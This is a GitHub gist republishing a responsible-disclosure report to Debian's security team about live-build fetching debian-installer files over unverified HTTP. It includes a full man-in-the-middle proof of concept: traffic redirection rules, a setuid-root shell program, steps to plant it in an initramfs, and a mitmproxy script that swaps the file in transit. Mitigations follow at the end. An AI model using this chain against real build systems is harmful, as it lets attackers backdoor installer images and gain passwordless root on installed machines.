Created
January 15, 2025 02:50
-
-
Save ArrayBolt3/99d1296a6d82b5a6f2453943eaf85520 to your computer and use it in GitHub Desktop.
Debian live-build MitM Proof of Concept
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| This is the full text of an originally GPG-encrypted email I sent to | |
| team@security.debian.org regarding a security vulnerability in the | |
| live-build system for live Debian ISO image generation. The Security Team | |
| has indicated that they don't mind me making the details public, so I am | |
| publishing them in accordance with Debian's Vulnerability Disclosure | |
| Process (documented at https://www.debian.org/security/disclosure-policy). | |
| Simple instructions for mitigating the vulnerability are present at the | |
| end of the report, and while the solution mentioned there is not ideal, | |
| it is sufficient in many or most instances. | |
| ----- | |
| Subject: live-build MITM/privilege escalation vulnerability - | |
| downloaded debian-installer files are not verified for authenticity | |
| Hello, and thanks for your time. I am reporting an MITM vulnerability in | |
| live-build resulting from failing to verify the authenticity and | |
| integrity of downloaded debian-installer components. This vulnerability | |
| is present if: | |
| * The end-user enables debian-installer on a live image they build | |
| using one of the `lb config --debian-installer` options, and | |
| * The end-user allows live-build to use an insecure HTTP mirror for | |
| downloading the debian-installer components (live-build uses an | |
| insecure mirror for these downloads by default). | |
| This vulnerability can be used to backdoor ISOs built by a system | |
| connected to a malicious network gateway, such that the ISOs provide a | |
| command that grants a root shell without a password. The vulnerability | |
| theoretically requires no user interaction to trigger, aside from having | |
| to pass a `--debian-installer` option to `lb config`. It may also be | |
| possible to compromise the ISO builder host using this vulnerability, | |
| although I have not verified this. The attacker must be positioned | |
| between the victim and the network mirror from which the victim is | |
| attempting to pull debian-installer files from in order to exploit this | |
| vulnerability. | |
| I am using Debian 12 with the XFCE desktop environment to demonstrate | |
| this vulnerability. | |
| ----- | |
| Part 1 - Vulnerable code | |
| The vulnerable version of live-build is 1:20240810, though it is very | |
| likely that older versions are vulnerable as well. I have installed it | |
| into a virtual machine by doing the following: | |
| * Clone live-build from | |
| https://salsa.debian.org/live-team/live-build.git. | |
| * Checkout the tag `debian/1%20240810`. | |
| * Ensure all build dependencies are installed (`sudo apt install | |
| dpkg-dev debhelper-compat po4a gettext`). | |
| * Build the package (`dpkg-buildpackage -b -us -uc`). | |
| * Install the package (`sudo apt install | |
| ../live-build_20240810_all.deb`). | |
| The vulnerable code in live-build is located in | |
| `live-build/scripts/build/installer_debian-installer`. There are several | |
| parts of the code that are potentially vulnerable, all of which should | |
| most likely be addressed. I will be focusing specifically on the | |
| following parts of the code since they are the easiest to exploit: | |
| 353 URL="${LB_PARENT_MIRROR_DEBIAN_INSTALLER}/dists/${LB_PARENT_DEBIAN_INSTALLER_DISTRIBUTION}/main/installer-${LB_ARCHITECTURE}/current/images" | |
| ... | |
| 359 # Downloading debian-installer | |
| 360 Download_file "${DESTDIR}"/"${VMLINUZ_DI}" ${URL}/${DI_REMOTE_BASE}/${DI_REMOTE_KERNEL} | |
| 361 Download_file "${DESTDIR}"/"${INITRD_DI}" ${URL}/${DI_REMOTE_BASE}/initrd.gz | |
| ... | |
| 381 if $DOWNLOAD_GTK_INSTALLER; then | |
| 382 mkdir -p "${DESTDIR_GI}" | |
| 383 Download_file "${DESTDIR}"/"${VMLINUZ_GI}" ${URL}/${DI_REMOTE_BASE_GTK}/${DI_REMOTE_KERNEL} | |
| 384 Download_file "${DESTDIR}"/"${INITRD_GI}" ${URL}/${DI_REMOTE_BASE_GTK}/initrd.gz | |
| 385 fi | |
| The `Download_file` function is located in the same script, and reads as | |
| follows: | |
| 196 Download_file () { | |
| 197 local _LB_TARGET="${1}" | |
| 198 local _LB_URL="${2}" | |
| 199 | |
| 200 Echo_debug "Downloading file \`%s\` from \`%s\`" "${_LB_TARGET}" "${_LB_URL}" | |
| 201 | |
| 202 local _LB_CACHE_FILE | |
| 203 _LB_CACHE_FILE="${_LB_CACHE_DIR}/$(echo "${_LB_URL}" | sed 's|/|_|g')" | |
| 204 | |
| 205 if [ ! -f "${_LB_CACHE_FILE}" ] | |
| 206 then | |
| 207 Echo_debug "Not cached, downloading fresh..." | |
| 208 mkdir -p ${_LB_CACHE_DIR} | |
| 209 if ! wget ${WGET_OPTIONS} -O "${_LB_CACHE_FILE}" "${_LB_URL}" | |
| 210 then | |
| 211 rm -f "${_LB_CACHE_FILE}" | |
| 212 | |
| 213 Echo_error "Could not download file: %s" "${_LB_URL}" | |
| 214 exit 1 | |
| 215 fi | |
| 216 else | |
| 217 Echo_debug "Using copy from cache..." | |
| 218 fi | |
| 219 | |
| 220 # Use hardlink if same device | |
| 221 if [ "$(stat --printf %d "${_LB_CACHE_DIR}/")" = "$(stat --printf %d ./)" ] | |
| 222 then | |
| 223 CP_OPTIONS="-l" | |
| 224 fi | |
| 225 | |
| 226 cp -a -f ${CP_OPTIONS} -- "${_LB_CACHE_FILE}" "${_LB_TARGET}" | |
| 227 } | |
| There are three important things to note here: | |
| * `Download_file` is a downloader only, it does not do any further | |
| verification of the downloaded files. Verification is left as the | |
| caller's responsibility. | |
| * No part of `installer_debian-installer` verifies the kernel image or | |
| initramfs files that make up debian-installer. | |
| * `LB_PARENT_MIRROR_DEBIAN_INSTALLER` may be an insecure http:// URL. | |
| Indeed, according to `man lb_config`, it is an insecure URL by | |
| default: | |
| --mirror-bootstrap URL | |
| sets the location of the debian package mirror that should be used to bootstrap the derivative from. This de‐ | |
| faults to 'http://deb.debian.org/debian/'. | |
| ... | |
| -m|--parent-mirror-bootstrap URL | |
| sets the location of the debian package mirror that should be used to bootstrap from. This defaults to the | |
| value of --mirror-bootstrap. | |
| ... | |
| --parent-mirror-chroot URL | |
| sets the location of the debian package mirror that will be used to fetch the packages in order to build the | |
| live system. This defaults to the value of --parent-mirror-bootstrap. | |
| ... | |
| --parent-mirror-debian-installer URL | |
| sets the location of the mirror that will be used to fetch the debian installer images. This defaults to the | |
| value of --parent-mirror-chroot. | |
| This boils down to the following conclusion - live-build is downloading | |
| a kernel and initramfs for debian-installer without verifying the | |
| integrity or authenticity of either file, and then installs these files | |
| onto the ISO, where they are later run with kernel-level or root-level | |
| permissions, respectively. A malicious third party positioned in the | |
| network between the victim's mirror and the victim themselves can MITM | |
| the connection, and then provide a malicious kernel or initramfs. | |
| live-build will integrate these malicious files into the built ISO. | |
| ----- | |
| Part 2 - Preparing the exploit | |
| The first question in my mind after seeing the above vulnerability is | |
| "how can I use this to infect an ISO, so I can get a root shell on | |
| systems installed from that ISO?" The easiest way I could think of to do | |
| this is to MITM the victim's connection, swapping out debian-installer's | |
| authentic initrd.gz with a malicious one at build time. The malicious | |
| debian-installer replacement would look and behave like | |
| debian-installer, but would plant an SUID-root executable on the | |
| installed system, which would grant a root shell without a password when | |
| executed. | |
| In order to actually implement this, I created two virtual machines in | |
| virt-manager, one "victim" VM for building the infected ISO, and one | |
| "attacker" VM for infecting the ISO at build time. To intercept the | |
| connection, I used mitmproxy with a very simple Python script that | |
| injects a malicious debian-installer initrd.gz when live-build attempts | |
| to download it. | |
| To demonstrate this attack, the first course of action is to install | |
| Debian 12 XFCE into a VM intended to be the "victim". Then clone the VM | |
| to create the "attacker" VM, and install mitmproxy and iptables on the | |
| attacker machine. | |
| Once you have the attacker and victim VMs, set up the victim so that | |
| network traffic is routed through the attacker. (This is required | |
| because the victim and attacker are "siblings" on the network, and we | |
| need the attacker to intercept the victim's communications. Obviously if | |
| the attacker was already in an upstream position (such as the ISP or | |
| router), this would not be needed.) | |
| On the attacker VM, run as root: | |
| sysctl -w net.ipv4.ip_forward=1 | |
| sysctl -w net.ipv6.conf.all.forwarding=1 | |
| sysctl -w net.ipv4.conf.all.send_redirects=0 | |
| iptables -t nat -A PREROUTING -i enp1s0 -p tcp --dport 80 -j REDIRECT --to-port 8080 | |
| ip6tables -t nat -A PREROUTING -i enp1s0 -p tcp --dport 80 -j REDIRECT --to-port 8080 | |
| ip a # note the IP address of the attacker VM that this command outputs | |
| Note that we are only intercepting port 80 (HTTP), as intercepting HTTPS | |
| would require the victim to install a root certificate provided by the | |
| attacker. | |
| Next, on the victim VM, run as root: | |
| ip route delete default | |
| ip route add default via ATTACKER_IP dev enp1s0 | |
| Replace `ATTACKER_IP` as appropriate. | |
| Next, test the MITM setup. On the attacker VM, run `mitmproxy --mode | |
| transparent --showhost`. Then on the victim VM, run `wget | |
| http://example.com`. If all goes well, you should see something similar | |
| to the following output appear in the mitmproxy console: | |
| >> GET http://example.com/ | |
| <- 200 text/html 1.2k 73ms | |
| If this happens, the MITM setup is working properly. | |
| The next step is to create a malicious debian-installer initrd.gz on the | |
| attacker VM. First, we need to create a malicious executable for | |
| providing a backdoor. We will use the following C program for this | |
| purpose: | |
| #include <unistd.h> | |
| #include <stdlib.h> | |
| int main(int argc, char **argv) { | |
| setuid(0); | |
| system("/bin/bash"); | |
| } | |
| Write this program to a file named `exp.c` on the attacker VM. Then | |
| install gcc, and compile the program with `gcc exp.c`. (Note: Obviously, | |
| this executable is harmless on its own, and making it SUID-root requires | |
| one to have root in the first place. This is not the core of the | |
| vulnerability, the core of the vuln is that we can plant an SUID-root | |
| version of this file into an initramfs that we then trick live-build | |
| into using in place of the authentic initramfs.) | |
| Next, we need to obtain an authentic initrd.gz and modify it. On the | |
| attacker VM, run: | |
| wget https://deb.debian.org/debian/dists/bookworm/main/installer-amd64/current/images/cdrom/initrd.gz | |
| Next, unpack the initramfs: | |
| gzip -d initrd.gz | |
| mkdir initrd-unpacked | |
| cd initrd-unpacked | |
| sudo cpio -idmv --no-absolute-filenames < ../initrd | |
| Now we can install the malicious executable into the initramfs. On the | |
| attacker VM, run the following commands (assuming the malicious | |
| executable built earlier is at `$HOME/a.out` and your shell is still in | |
| the `initrd-unpacked` directory): | |
| mv $HOME/a.out ./ | |
| sudo chown root:root ./a.out | |
| sudo chmod u+s ./a.out | |
| We now need to change some part of the initramfs so that it will install | |
| the malicious executable onto the installed system. There are numerous | |
| parts of debian-installer that could be modified for this purpose, | |
| the one I chose was | |
| `initrd-unpacked/usr/lib/post-base-installer.d/05localechooser`. Near | |
| the top of this script, just after the shebang but before the `set -e`, | |
| add the following line: | |
| cp -a /a.out /target/a.out | |
| Our infected initramfs tree is now set up. To repack it, assuming your | |
| attacker VM's shell is still in the `initrd-unpacked` directory, run: | |
| rm ../initrd | |
| find . | cpio -H newc -ov > ../initrd | |
| gzip -9 ../initrd | |
| (Note: Do not, oh do not forget the `-H newc` when repacking the | |
| initramfs. You'll end up with an ISO that kernel panics if you omit | |
| it. Guess how I learned this...) | |
| Before continuing past this point, we need to test and make sure | |
| everything is going to work as intended. To do this, on the *victim* VM | |
| (not the attacker VM), run | |
| `wget http://deb.debian.org/debian/dists/bookworm/main/installer-amd64/current/images/cdrom/initrd.gz`. | |
| You should see mitmproxy show that the download has occurred. Move the | |
| resulting `initrd.gz` file to `initrd.gz.orig`. We will compare this | |
| with our infected initramfs in just a bit. | |
| We are now ready to prepare the attacker VM to infect a live-build ISO. | |
| On the attacker VM, close mitmproxy, then create an `mitmattack.py` | |
| file with the following contents: | |
| from mitmproxy import http | |
| def request(flow): | |
| if flow.request.pretty_url.endswith("dists/bookworm/main/installer-amd64/current/images/cdrom/initrd.gz"): | |
| mal_initrd_file = open("initrd.gz", "rb") | |
| mal_initrd = mal_initrd_file.read() | |
| mal_initrd_file.close() | |
| flow.response = http.Response.make( | |
| 200, | |
| mal_initrd, | |
| {"content-type":"application/x-gzip"} | |
| ) | |
| Once the file is saved, start mitmproxy on the attacker VM using the | |
| command `mitmproxy --mode transparent --showhost --script | |
| mitmattack.py`. You should notice that mitmproxy shows `[scripts:1]` at | |
| the bottom of its display. | |
| Next, ensure the MITM attack is working. On the victim VM, run | |
| `wget http://deb.debian.org/debian/dists/bookworm/main/installer-amd64/current/images/cdrom/initrd.gz` | |
| again. Once downloaded, run `cmp initrd.gz initrd.gz.orig`. A | |
| difference between the files should be reported. If this happens, | |
| the MITM setup is working. | |
| We are now ready to exploit live-build. | |
| ----- | |
| Part 3: Verifying and running the exploit | |
| Ensure that mitmproxy is running on the attacker VM. | |
| On the victim VM, run `mkdir live-build-exp && cd live-build-exp`. Next, | |
| create a very simple live ISO configuration with `lb config | |
| --distribution bookworm --debian-installer live`. We don't need anything | |
| more than this for testing the exploit. Build the ISO using `sudo lb | |
| build`. You should notice lots of activity in the mitmproxy window on | |
| the attacker VM. | |
| (Note: You will need a moderately fast connection for this to work. | |
| mitmproxy buffers entire files before sending them to the victim | |
| machine, meaning that the victim has to wait for each file to be | |
| entirely buffered before it can start downloading. This will result in | |
| timeouts if your connection is too slow. Around 24Mbps was fast enough | |
| for me.) | |
| Once the ISO is built, test it to see if it is infected or not. In the | |
| victim VM, run the following commands (assuming your shell is still in | |
| the `live-build-exp` directory): | |
| mkdir isomount | |
| sudo mount ./live-image-amd64.hybrid.iso isomount | |
| cp isomount/install/initrd.gz ./ | |
| sudo umount isomount | |
| mkdir initrd-unpacked | |
| cd initrd-unpacked | |
| gzip -d ../initrd.gz | |
| sudo cpio -idmv --no-absolute-filenames < ../initrd | |
| ls | |
| If you see an `a.out` file in the unpacked directory, run `stat a.out` | |
| to ensure that the file is owned by root and that the SUID bit has been | |
| preserved. If so, the ISO has been infected successfully. Once you are | |
| done testing this, clean up the unpacked initramfs tree. On the victim | |
| VM, run the following commands (assuming your shell is still in the | |
| `live-build-exp/initrd-unpacked` directory): | |
| cd .. | |
| sudo rm -r initrd-unpacked | |
| rm -f initrd | |
| Finally, we are ready to test the exploit and see if it works. Copy the | |
| infected ISO out of the victim VM using whatever method you prefer (I | |
| used a virtiofs shared folder for this purpose). Then create a new | |
| virtual machine using the infected ISO. When the boot menu | |
| appears, select `Advanced install options`, then select `Text | |
| installer`, then `Install`. Proceed through the installation process | |
| like you normally would. | |
| Once the installation is complete, reboot into the installed, infected | |
| system, log in at the console, and run `ls /`. You should see the | |
| `a.out` file present in the root directory. Next, run `/a.out`. You will | |
| be granted a root shell without a password. | |
| ----- | |
| Part 4: Mitigation and Fixes | |
| The easiest way to mitigate this vulnerability to some degree is to | |
| configure an HTTPS mirror to be used for downloading debian-installer | |
| files. This can be done using the `--parent-mirror-debian-installer` and | |
| `--mirror-debian-installer` options in `lb config`. This will thwart | |
| MITM attempts so long as HTTPS remains uncompromised. This doesn't | |
| provide the same security guarantees that would be provided by verifying | |
| the downloaded files, but it would at least frustrate an attacker that | |
| tried to swap out files like in this attack. I would consider this | |
| solution as a stop-gap at best - HTTPS connections have various attacks | |
| that can be used against them (notably downgrade attacks could be a | |
| problem in this scenario), and even if the connection is perfectly | |
| secure, a Debian mirror could still have infected debian-installer | |
| files. | |
| In the long run, the `installer_debian-installer` script should be using | |
| using Debian's repository signature verification system to verify the | |
| integrity and authenticity of every debian-installer file it downloads. | |
| If this was done, HTTPS wouldn't even be necessary, since the files | |
| would not be able to be modified in transit without live-build | |
| noticing. Debian provides signature-protected SHA256 checksums for all | |
| of the debian-installer files (including the initrd.gz file that my | |
| attack intercepts). live-build should use them for their intended | |
| purpose. This would also prevent supply chain attacks since only | |
| checksums signed by Debian's key would be trusted for verifying the | |
| authenticity of downloaded files. | |
| Finally, I would like to stress that **this is not the only way to | |
| exploit this code.** There are other parts of | |
| `installer_debian-installer` that download executable code via a | |
| potentially insecure connection without verification (most notably, a | |
| plethora of udebs are downloaded using `wget` in a loop). **Plugging | |
| this one hole will not make live-build secure against this kind of | |
| attack.** The attacker will just have to pick a different file to | |
| infect. | |
| ----- | |
| Final notes | |
| I would like to thank Patrick Schleizer, the lead developer of the | |
| Kicksecure and Whonix projects, for his role in finding this | |
| vulnerability. He first noticed that live-build appeared to be | |
| downloading debian-installer files unverified, and delegated the task of | |
| reviewing the code to me as part of my work with the Kicksecure project. | |
| I've copied him on this report since he is a co-discoverer of the | |
| vulnerability. | |
| Thanks for taking the time to look at this! | |
| -- | |
| Aaron Rainbolt | |
| (arraybolt3 on irc.oftc.net, @arraybolt3:ubuntu.com and | |
| @arraybolt3:matrix.org on Matrix) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment